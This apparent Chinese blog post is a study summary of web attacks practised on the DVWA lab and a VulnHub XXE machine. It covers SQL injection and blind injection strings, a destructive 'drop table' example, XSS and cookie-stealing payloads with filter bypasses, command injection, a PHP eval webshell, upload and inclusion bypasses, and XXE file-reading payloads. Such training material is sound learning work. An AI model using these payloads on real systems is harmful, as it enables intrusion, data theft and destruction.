web安全学习总结

本博客内容是看看雪论坛上的教程总结而来:

Web安全

前提:环境安装
DVWA下载地址:https://github.com/ethicalhack3r/DVWA
Phpstudy下载地址:http://phpstudy.php.cn

操作方法:
安装好win7的虚拟机,其他操作系统都可以,我安的是windows7,
下载phpstudy和DVWA上传到虚拟机中;
在这里插入图片描述
第一步:运行phpstudy
在这里插入图片描述

第二步:将下载好的DVWA文件放在www文件目录下面
然后在浏览器打开127.0.0.1/DVWA-master/DVWA-master/setup.php进行安装
在这里插入图片描述
第三步:在config中将config.inc.php.dist拷贝一份然后改为config.inc.php就能够正常安装了
在这里插入图片描述
在这里插入图片描述
第四步:创建数据库,phpstudy中自带数据库,默认账号密码都是root,登录mysql数据库,然后创建dvwa,完成创建。

第五步:打开config.inc.php,修改如下:

\$_DVWA[ 'db_server' ] = '127.0.0.1';
\$_DVWA[ 'db_database' ] = 'dvwa';
\$_DVWA[ 'db_user' ] = 'root';
\$_DVWA[ 'db_password' ] = 'root’;

在这里插入图片描述
然后浏览器打开http://127.0.0.1/DVWA-master/DVWA-master/login.php
在这里插入图片描述

输入账号admin和密码password之后可以进入

在这里插入图片描述这里可以调节web攻击的难度:
在这里插入图片描述点击view Source之后,可以看到源码
在这里插入图片描述
该测试网站中都会有低中高难度,可以看源码分析,看如何绕过防护措施

1、SQL注入(点击DVWA的SQL Injection)

1>首先,我们看一下正常的数据查询:

?id=1select \* from user where id =‘1’

当我们插入一段有语义的SQL语句’;drop table user–#:

?id=1 ’;drop table user-- \#select \* from user where id =‘1’ ;drop table user--\#’

这样就造成了在查询之后就删除了user表;

2>所以简单的说产生sql注入的两个条件:一个是用户能够控制输入;二是原本程序执行的语句拼接了用户输入的数据;

Sql注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

3>sql注入流程:
在这里插入图片描述
4>sql注入语句:

获取库名:union select 1,database()#

获取表明:union select 1,group_concat(table_name) from information_schema.tables
where table_schema=database()#

获取列名:union select 1,group_concat(column_name) from
information_schema.columns where table_name=‘user’#

2、SQL注入盲注(点击DVWA的SQL Injection(Blind))

1>一般的sql注入在我们输入sql语句的时候都会返回我们执行sql语句的结果,比如我们插入database(),执行结果就会是列举出当前所在的数据库名称dvwa;

而盲注就好像是在做判断题,我们执行的结果不会显示出来,只会告诉你“对”或者“不对”,不会出现回显现象。

回显:就是显示正在执行的批处理命令及执行的结果等。

2>

猜测长度:1' and length(database())>1 # 

  或>1(依次递增1,2,3…)4

猜测库名:1' and ascii(substr(database(),1,1))>97 #

  (对应ASCII码) dvwa

<、>号可以迅速确定大概范围

猜测表名:

(1)猜测表的数量:1' and (select count(table_name) from
information_schema.tables where table_schema=database())=2#

(2)猜测表长度:1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=1 #

(3)获取表名:1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

(4)猜测字段的长度:1' and length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

(5)猜解字段:1' and ascii(substr((select column_name from
information_schema.columns where table_name='users' limit 0,1),1,1))>120 #

3>如果某些系统对于输入的语句没有回应,那么可以用基于时间的sql盲注

(1)判断数据库长度:1' and if(length(database())=4,sleep(3),1) #

(2)猜测数据库名称:1' and if(ascii(substr(database(),1,1))>97,sleep(3),1)#

(3)猜测表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#

(4)猜测表名的长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #

4>sqlmap内容:(去网上下载sqlmap工具进行注入)

网站输入内容的链接放在这里运行即可

针对链接:python sqlmap.py –u “url”

网站输入内容后,提交之后抓包,将内容放到1.txt,之后运行

针对数据包: python sqlmap.py –r 1.txt

3、跨站脚本攻击(XSS)

1>跨站脚本攻击-XSS,全称Cross site
scripting,特殊的注入攻击,相当于在代码中注入恶意的脚本,当用户访问页面时,在浏览器中触发并解析代码,完成攻击。

xss根据不同的攻击形式分为反射型xss、存储型xss、Dom型Xss。

2>输入攻击脚本代码

<script>alert('XSS')</script>  
'><script>alert(document.cookie)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>//框架注入
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}
</SCRIPT><"
<A HREF=http://127.0.0.1/phpinfo.php>link</A> //链接注入
<img src=1 onerror=alert(2)>

3>Low等级的源码:
在这里插入图片描述
没有加任何防护,上面的语言都可以成功

4>Medium等级的源码:
在这里插入图片描述
防护措施:将<script>替换为‘’,可以通过改变大小写,不用script语句来绕过这样的防护措施

5>High等级的源码:
在这里插入图片描述
防护措施:利用正则表达式将任何script的都过滤掉,

可以通过img语句等方式绕过

4、跨站请求伪造(CSRF)

1>CSRF,全称Cross-site request
forgery,就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),引导诱骗用户点击存在恶意代码的页面,在受害人不知情的情况下利用受害者的身份向服务器发送请求,从而完成非法操作;

2>图示:
在这里插入图片描述
用户通过访问黑客的恶意网页,从而使黑客能够正常访问服务器

3>low等级:
在这里插入图片描述
4>Med等级:
在这里插入图片描述
5>High等级
在这里插入图片描述

5、命令执行

1>命令注入,是指通过提交恶意构造的参数破坏命令

语句结构,从而达到执行恶意命令的目的。

2>low等级
在这里插入图片描述
可以用127.0.0.1&& net user命令进行注入

3>Med等级
在这里插入图片描述
可以用127.0.0.1|| net user命令进行注入

4>High等级
在这里插入图片描述
可以用127.0.0.1|net user命令进行注入

6、文件上传

1>可以利用文件上传漏洞,上传一句话木马文件<?php
@eval($_POST[‘Cknife’]);?>,之后用菜刀工具连接,就可以访问服务器的任意文件

2>low等级
在这里插入图片描述
3>Med等级
在这里插入图片描述

先修改php文件修改为png格式,之后抓包后,修改回php格式的文件或者将php文件copy到img文件中,之后上传也可以

4>High等级
在这里插入图片描述

7、文件包含

1>当服务器开启allow_url_include选项时,可以通过php的某些特性函数include(),require(),include_once(),require_once()利用url去动态包含文件,导致任意文件读取或任意命令执行。

文件包含分为两种:本地文件包含和远程文件包含(allow_url_fopen)

2>low等级
在这里插入图片描述
任意输入不同路径的文件,都可以访问成功

3>Med等级
在这里插入图片描述
禁止了相对路径,可以用绝对路径来访问

4>High等级
在这里插入图片描述
可以在路径前面加上file///也是可以的

9、XXE漏洞

1>测试环境下载链接:https://download.vulnhub.com/xxe /XXE.zip,安装结果如下:
在这里插入图片描述 2>XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。

3>基础结构:
在这里插入图片描述
4>漏洞成因与后果:

XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。

当运行引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害

5>实例分析(其中的ip是根据VMWare的设置分配的,你的可能是其他)

打开kali虚拟机系统和xxe虚拟机系统,因为不知xxe虚拟机的账号和密码以及ip,需要对这个系统进行渗透,在kali系统中用nmap
192.168.186.1/24,这里的192.168.186.1是Vmware的网关地址,对VMWare内运行的ip进行扫描;

扫描结果:xxe的ip为192.168.186.130,里面有80端口开放,有/xxe/*和/admin.php路径,也可以通过在宿主机通过访问192.168.186.130/robots.txt得到,之后进行进一步渗透;
在这里插入图片描述
在这里插入图片描述
在宿主机的浏览器中访问192.168.186.130/xxe/,结果如图:
在这里插入图片描述
由于不知道密码是多少,首先尝试一下爆破,用burpsuite抓下包,具体方法参考burp的使用方法:
在这里插入图片描述
看到传过去的是一个xml格式,利用XXE漏洞,修改xml内容:
<?xml version=“1.0” ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM “file:///etc/passwd”>
]>
<root><name>&admin;</name><password>kx</password></root>

结果显示成功读出了文件内容
在这里插入图片描述
之前看到系统中有admin.php文件,将它按BASE64编码之后返回:
<?xml version=“1.0” ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM “php://filter/read=convert.base64-encode/resource=
admin.php”>
]>
<root><name>&admin;</name><password>kx</password></root>
在这里插入图片描述
之后用Decoder模块进行解码,可以看到用户名和密码
在这里插入图片描述
去cmd5.com进行md5解码,结果为admin@123,之后去登录,发现登录不上
在这里插入图片描述
再去查找,发现有个flagmeout.php的文件
在这里插入图片描述
之后再用BASE64编码的方法返回flagmeout.php的编码内容
在这里插入图片描述
然后将内容进行解码
在这里插入图片描述
这是如何区分BASE16,BASE32,BASE64的简单方法
在这里插入图片描述
用Base32方式进行解码
在这里插入图片描述
用Base64方式解码
在这里插入图片描述
最后得到一个/etc/.flag.php的结果
之后用前面那两个方式找到内容
在这里插入图片描述
在这里插入图片描述
上述内容前面加上<?php,后面加上 ?>,之后保存为php,运行后得到flag;

发布了269 篇原创文章 · 获赞 33 · 访问量 8万+

猜你喜欢

转载自blog.csdn.net/qq_36386435/article/details/104275185